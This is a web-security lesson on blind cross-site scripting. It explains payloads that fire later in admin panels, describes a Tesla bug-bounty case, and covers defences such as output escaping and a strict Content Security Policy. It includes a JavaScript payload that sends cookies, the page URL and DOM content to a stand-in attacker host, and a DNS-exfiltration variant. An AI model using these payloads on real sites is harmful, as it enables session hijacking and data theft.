Blind XSS
The payload that fires later, in a different browser, inside an admin panel the attacker never sees. Blind XSS hunters, callback exfiltration, and how to weaponise a back-office injection.
Advanced14 min
XSSBlindCallback
Loading lesson…
The payload that fires later, in a different browser, inside an admin panel the attacker never sees. Blind XSS hunters, callback exfiltration, and how to weaponise a back-office injection.
Not every XSS payload fires in the attacker's own browser. The most dangerous injections happen where the attacker cannot see them — in an admin panel, a log viewer, a ticket system, or a CRM dashboard. Blind XSS is the art of planting a payload that detonates later, in another user's session, often with elevated privileges.
Blind XSS is a stored XSS where the injection point and the execution point belong to different applications or different privilege levels. A help desk ticket form is the textbook example: an attacker submits a support request containing a JavaScript payload. The form itself is public and the payload does not execute there because the public view is safe. But when a support agent opens the ticket in the internal admin panel, the panel renders the message content unescaped, and the payload fires in the agent's authenticated session.
Because the attacker never sees the admin panel, they cannot usealert(1) to confirm the attack worked. Instead, they use out-of-band techniques: the payload makes an HTTP request or DNS lookup to a server the attacker controls. Services like XSS Hunter and Burp Collaborator provide unique callback URLs that appear in the attacker's logs the moment the payload fires.
// Blind XSS payload with out-of-band callback
fetch('https://attacker-controlled-server.app/callback?' +
new URLSearchParams({
cookie: document.cookie,
url: window.location.href,
dom: document.body.innerHTML.substring(0, 200),
})
);
// Alternative: DNS exfiltration (no HTTP request needed)
new Image().src =
'https://' +
btoa(document.cookie) +
'.xss-hunter.dns-bridge.com/collect';Submit a feedback ticket below with an XSS payload. The form itself stores your input safely, but switch to the "Admin review" tab to simulate what happens when a support agent opens your ticket. If the payload fires, the simulated callback log records the exfiltration events.
In 2019, a security researcher discovered a blind XSS vulnerability in a Tesla Motors service request form. The form was publicly accessible on the Tesla website and accepted customer feedback and service inquiries. The input was stored server-side and later displayed in Tesla's internal employee admin panel. When a Tesla employee viewed the submitted ticket in the admin interface, the stored payload executed in the employee's browser.
The researcher used XSS Hunter to receive a callback confirming execution. From that point, the payload could make authenticated requests as the employee, accessing internal Tesla systems — customer records, service history, and potentially vehicle telemetry data. Tesla patched the vulnerability by adding output encoding in the admin panel and reported the finding through their bug bounty programme. The case illustrates how a single unescaped field in an "unimportant" form can escalate to a full internal network compromise.
The defence against blind XSS begins with the same principles as all XSS prevention: context-aware escaping everywhere, especially in administrative interfaces. Admin panels often skip escaping because "only authenticated users see this data" — but that assumption is exactly what blind XSS exploits. Every input that eventually renders in a privileged context must be treated as attacker-controlled.
A Content Security Policy with a strict script-src directive blocks most blind XSS payloads from making callbacks. For testing, inserting payloads with unique callback domains into every stored input field, then monitoring for callbacks, is the standard methodology. Automated scanners like Burp Suite can inject XSS Hunter payloads into all identified input points and alert on callback receipt.
// SAFE - context-aware escaping in the admin panel template
function renderTicket(ticket: { message: string }): string {
return '<div>' + escapeHtml(ticket.message) + '</div>';
}
// SAFE - CSP blocking outbound callbacks
// Content-Security-Policy:
// default-src 'self';
// script-src 'self';
// connect-src 'self';connect-src can block blind XSS callbacks even when escaping fails.1.What distinguishes blind XSS from ordinary stored XSS?
2.How did the researcher confirm the Tesla blind XSS vulnerability?
3.Why do admin panels frequently have blind XSS vulnerabilities?